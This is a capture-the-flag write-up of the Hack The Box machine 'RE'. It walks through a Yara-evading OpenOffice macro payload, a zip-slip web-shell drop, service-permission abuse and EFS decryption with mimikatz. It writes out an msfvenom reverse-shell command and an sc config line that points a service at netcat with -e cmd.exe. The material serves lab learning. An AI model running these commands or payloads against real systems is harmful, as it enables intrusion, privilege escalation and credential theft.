RE was a hard rated box that was pretty challenging with many steps. The initial foothold involved crafting a malicious OpenOffice document. The first part of privilege escalation required using a zipslip vulnerability to take advantage of a script processing rar files. The second part exploited a service with weak permissions. Actually reading the root flag was yet another step with a choice between one easy path and one very long path. This is going to be a journey so buckle up.
Enumeration
nmap scan:
As with all HTB machines with web services, I added re.htb to my /etc/hosts file and checked out the web page:
The source code looked interesting but was ultimately useless:
Port 445 is open so let's check what smbclient sees:
I connected and uploaded a file, only to have it disappear:
I tested it some more and got nowhere. I ran gobuster which didn't help either. Time to check for more virtual hosts:
I added these to my /etc/hosts files and when I attempted to visit http://dev.re.htb, I was redirected to reblog.htb:
After adding reblog.htb to /etc/hosts, I visited it and found this:
Clicking through the pages:
From the blog, we can see that they have some automatic processing of ods files that are run against Yara rules. If the file gets past the rules, the payload is run so that's the best shot at code execution.
Initial Shell
The blog post on Yara analysis had a link to this article. The interesting part to me was:
The first thing I learned here was there's a Metasploit module so I loaded it up to see what would be generated:
Odt/ods files are archives and can be unzipped, so I copied the document to a working directory and unzipped it:
The command execution is in Basic/Standard/Module1.xml and defaulted to a Powershell command:
I had a pretty good idea what to do here but it was pretty frustrating (albeit realistic if you are phishing) to send off ods files without any kind of feedback or error messages. I got nowhere fast with the blind attempts so I installed OpenOffice on a Windows VM and took things step by step. The default Metasploit output worked on the VM so I started editing and removing things, testing with every change and coming across a lot of gotchas.
I generated a reverse shell exe first just to have on hand:
Now for the ods payload. Remember that blog post about the Yara rules and certain strings the Metasploit module uses? We can change and get rid of a few things right off the bat to get past some of the rules. Since we know that the target is a Windows machine, we don't need the GetOS or GetExtName functions. The string 'Exploit' seems like it would be an easy giveaway so that should probably be changed. One of the other blog posts also mentioned basic rules looking for Powershell and cmd in macros so we know we can't use that. I was stuck here for a while on file transfer, wondering how to get around the restrictions until I got a nudge to use certutil.exe. I immediately facepalmed because that was covered in the PWK but it had slipped my mind. At any rate here was my final xml file:
I found out the hard way that spacing matters a lot. If 'Spl0it' was off by one space, the macro would not run. It was also annoying to find that to run the exe file, I had to switch from \
to /
with the paths. I recursively zipped up the contents of the ods directory as t3chnocat.ods:
Uploaded it:
Saw it hit my HTTP server:
With a netcat listener, I got a reverse shell:
User flag:
The Yara rule which explains all the headaches:
At this point I created a meterpreter exe with msfvenom -p windows/x64/meterpreter_reverse_tcp -f exe -o t3chnomet-888.exe lhost=10.10.x.x lport=888
and downloaded it to c:\windows\temp for convenience:
Privilege Escalation
In Luke's documents, there is a process_samples.ps1 file. There are helpful comments throughout but let's break it down:
$process_dir = "C:\Users\luke\Documents\malware_process"
$files_to_analyze = "C:\Users\luke\Documents\ods"
$yara = "C:\Users\luke\Documents\yara64.exe"
$rule = "C:\Users\luke\Documents\ods.yara"
while($true) {
# Get new samples
move C:\Users\luke\Documents\malware_dropbox\* $process_dir
# copy each ods to zip file
Get-ChildItem $process_dir -Filter *.ods |
Copy-Item -Destination {$_.fullname -replace ".ods", ".zip"}
Get-ChildItem $process_dir -Filter *.zip | ForEach-Object {
# unzip archive to get access to content
$unzipdir = Join-Path $_.directory $_.Basename
New-Item -Force -ItemType directory -Path $unzipdir | Out-Null
Expand-Archive $_.fullname -Force -ErrorAction SilentlyContinue -DestinationPath $unzipdir
# yara to look for known malware
$yara_out = & $yara -r $rule $unzipdir
$ods_name = $_.fullname -replace ".zip", ".ods"
if ($yara_out.length -gt 0) {
Remove-Item $ods_name
}
}
# if any ods files left, make sure they launch, and then archive:
$files = ls $process_dir\*.ods
if ( $files.length -gt 0) {
# launch ods files
Invoke-Item "C:\Users\luke\Documents\malware_process\*.ods"
Start-Sleep -s 5
# kill open office, sleep
Stop-Process -Name soffice*
Start-Sleep -s 5
This part moves files from the malware_dropbox to the malware_process folder (which is why uploaded files were disappearing) and copies ods files to a zip file with the same name. This zip file is then uncompressed and the contents run against the Yara rules. If Yara catches anything, the file is deleted. If the file makes it past Yara, the macro is run, which is how we got the initial shell.
#& 'C:\Program Files (x86)\WinRAR\Rar.exe' a -ep $process_dir\temp.rar $process_dir\*.ods 2>&1 | Out-Null
Compress-Archive -Path "$process_dir\*.ods" -DestinationPath "$process_dir\temp.zip"
$hash = (Get-FileHash -Algorithm MD5 $process_dir\temp.zip).hash
# Upstream processing may expect rars. Rename to .rar
Move-Item -Force -Path $process_dir\temp.zip -Destination $files_to_analyze\$hash.rar
}
Remove-Item -Recurse -force -Path $process_dir\*
Start-Sleep -s 5
}
This last part is key to privilege escalation. The ods file is zipped up as temp.zip, its hash calculated and stored as $hash, temp.zip is moved to c:\users\luke\documents\ods\$hash.rar with a comment # Upstream processing may expect rars. Rename to .rar
.
From here it's a pretty good assumption that there is another script running that will process this rar file by uncompressing it, which leads us to using a zip slip vulnerability.
The first thing we have to keep in mind - it's an IIS 10 server so an aspx file is probably going to be the way in. Second, we have to place said aspx file in a place that can be accessed through the web server. By default, IIS puts things in c:\inetpub\wwwroot and in there lies a 'blog' directory for the reblog.htb site. From the processing script, we know that the rar file is expcted in c:\users\luke\documents\ods. So I created the necessary directory structure:
Generate the aspx file:
I moved the aspx file to the newly created documents/ods folder, zipped it up as so and renamed it to a rar file:
Remember that meterpreter exe I put in c:\windows\temp? I ran it from the the initial shell as it made file transfer easier than using certutil. I transferred t3chnoasp.rar to c:\users\luke\documents\ods:
Shortly after, the upstream processing did its thing, I hit up http://reblog.htb/t3chnocat.aspx and got a meterpreter session:
System Shell
PowerUp.ps1 is a great tool for checking for privilege escalation. I uploaded it to c:\windows\temp using meterpreter, ran Powershell from a meterpreter shell, imported it and had it run all checks:
It immediately found a vulnerable service. PowerUp.ps1 has a function invoke-serviceabuse
that by default adds a user 'john' with a password 'Password123!' and adds 'john' to the local Administrators group. However since services are run as system by default, why bother with a puny Administrator login? At this point I could have run the meterpreter exe I dropped in c:\windows\temp but I forgot about it, uploaded nc64.exe and used that instead:
Side note: if you wanted to abuse the service manually, you could run the following commands a shell:
Change the binary path: sc config usosvc binpath="c:\users\luke\documents\nc64.exe 10.10.x.x 888 -e cmd.exe
Stop the service: net stop usosvc
Restart the service: net start usosvc
Either way you do it, with a netcat listener a system shell is yours:
However....
Root Flag - The Easy Way
From the system shell above, I ran the meterpreter exe I had dropped and got a session:
Incognito is a handy tool in meterpreter that lets you impersonate user tokens. Load it up:
List tokens:
From previous enumeration I knew that coby was an administrator on the box so I chose to impersonate him:
Suddenly the root flag is readable:
Root Flag - The Hard Way
Using meterpreter I dumped the hashes and saved them to hashes.txt:
Next I used John and rockyou.txt to crack the hashes, getting a password for Coby:
Someone on the HTB forums had posted a link on how to decrypt EFS files. I had never heard of EFS files much less run across one so I pretty much just followed the steps from that link.
First I uploaded files for mimikatz:
Confirming the file was encrypted and getting the private key's digest:
Given that I now had Coby's password, it made sense to use his certificate and private key which had the digest 415EE454C45D576D59C9A0C39F87C0105A8287E0
(the Certificate thumbprint value).
The next step from the article was to get the certificate:
So the certificate and its public key are saved to the 415EE454C45D576D59C9A0C39F87C0105A8287E0.der
file and we know the private key is in container 367a2403-d695-408f-b5f8-e09c2d1f6e02
.
Next up was the private key. The article had this as a path:
AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-494464150-3436831043-1864828003-1001\79e1ac78150e8bea8ad238e14d63145b_4f8e7ec6-a506-4d31-9d5a-1e4cbed4997b
The SID was going to be different on RE so I browsed to c:\users\coby\appdata\roaming\microsoft\crypto\rsa:
Next I took a look inside the S-1-5-21-311800348-2366743891-1978325779-1000
folder:
The article continues saying that "private key filenames are not always linked to container names. You must test them, and compare pUniqueName
field with the container name." I tested 04f8fa25d3e81af8ba7754cd439e0a7d_48353c3a-6eb0-4444-b39d-ba4c0dae6ffd
first simply because it was the biggest:
Bingo! The 'pUniqueName' value is the same as the key container value from earlier: 367a2403-d695-408f-b5f8-e09c2d1f6e02
.
Now we know that the private key is encrypted with master key af427980-60ef-4bcb-a3b1-f56fd2bb9eba
.
Decrypting the masterkey with Coby's plaintext password:
Now we have the masterkey and it's sha1:
key : 86dd76df8f71101582fdd0901be85a4fe7d4c85c3c93ba7b459d1b5b0dc6cb8c36f7655592f549984f4a20b72d83c5060aeedf354dc3f97fe0da1b6cf28cffbd
sha1: fa1c65cb0c07821b1cb185d4c3864dbb5ba9c565
Now we can decrypt the private key. I used the sha1:
<snip>
Sweet! Now we have the private key in the raw_exchange_capi_0_367a2403-d695-408f-b5f8-e09c2d1f6e02.pvk
file.
Meterpreter made it easy to download the necessary files to my machine:
The next step was to build a PFX file which contains the certificate and private key:
Upload the cert.pfx to RE:
Finally, install the PFX file and read the root flag:
Whew! Using Incognito was SO much faster and easier but I did learn a lot doing it the hard way too.